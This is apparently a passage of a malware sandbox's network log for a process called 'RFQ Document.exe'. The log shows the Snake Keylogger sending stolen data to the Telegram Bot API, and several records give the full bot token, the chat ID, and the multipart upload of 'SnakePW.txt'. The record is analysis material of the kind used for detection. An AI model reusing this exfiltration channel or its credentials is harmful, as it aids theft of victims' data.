2021-09-28 05:58:43 UTC	163	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 32 39 64 66 39 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cf29df91Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:43 UTC	164	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:43 UTC	164	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12685,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808723,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.4	49879	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:43 UTC	164	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cf48dd2b Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:43 UTC	165	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 34 38 64 64 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cf48dd2bContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:43 UTC	165	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:43 UTC	166	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12686,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808723,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
104	192.168.2.4	49880	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:43 UTC	166	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cf67dbc5 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:43 UTC	166	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 36 37 64 62 63 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cf67dbc5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:43 UTC	167	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:43 UTC	167	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12687,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808723,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
105	192.168.2.4	49881	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:43 UTC	168	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cf9c5368 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:43 UTC	168	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 39 63 35 33 36 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cf9c5368Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:43 UTC	168	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:43 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:43 UTC	169	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 38 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 33 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12688,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808723,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
106	192.168.2.4	49882	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:44 UTC	169	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cfc2757d Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:44 UTC	170	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 63 32 37 35 37 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cfc2757dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:44 UTC	170	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:44 UTC	170	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12690,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808724,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
107	192.168.2.4	49883	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:44 UTC	171	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cfda4c26 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:44 UTC	171	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 64 61 34 63 32 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cfda4c26Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:44 UTC	172	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:44 UTC	172	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12691,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808724,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
108	192.168.2.4	49884	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:44 UTC	172	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255cff94c71 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:44 UTC	173	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 63 66 66 39 34 63 37 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255cff94c71Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
2021-09-28 05:58:44 UTC	173	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 28 Sep 2021 05:58:44 GMT Content-Type: application/json Content-Length: 520 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2021-09-28 05:58:44 UTC	174	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 31 32 36 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 31 39 32 36 35 33 37 33 39 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 73 69 72 6d 6f 6d 6f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 36 36 34 37 34 38 34 31 31 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 5a 75 62 62 79 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 7a 75 62 62 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 75 62 62 79 7a 75 62 62 79 30 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 33 32 38 30 38 37 32 34 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":12692,"from":{"id":1926537393,"is_bot":true,"first_name":"sirmomo","username":"sirmomoBot"},"chat":{"id":1664748411,"first_name":"Zubby","last_name":"zubby","username":"zubbyzubby01","type":"private"},"date":1632808724,"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
109	192.168.2.4	49885	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 05:58:44 UTC	174	OUT	POST /bot1926537393:AAHGSUhtLeQU8qms_2blDH9qpvo-fEuwi9E/sendDocument?chat_id=1664748411&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8d98255d018a361 Host: api.telegram.org Content-Length: 407
2021-09-28 05:58:44 UTC	174	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 39 38 32 35 35 64 30 31 38 61 33 36 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 6a 6f 6e 65 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 34 37 33 36 32 37 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 39 2f 32 38 2f 32 30 32 31 20 2f 20 37 3a 35 38 3a 30 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 3a Data Ascii: --------------------------8d98255d018a361Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:473627Date and Time: 9/28/2021 / 7:58:02 AMClient IP:
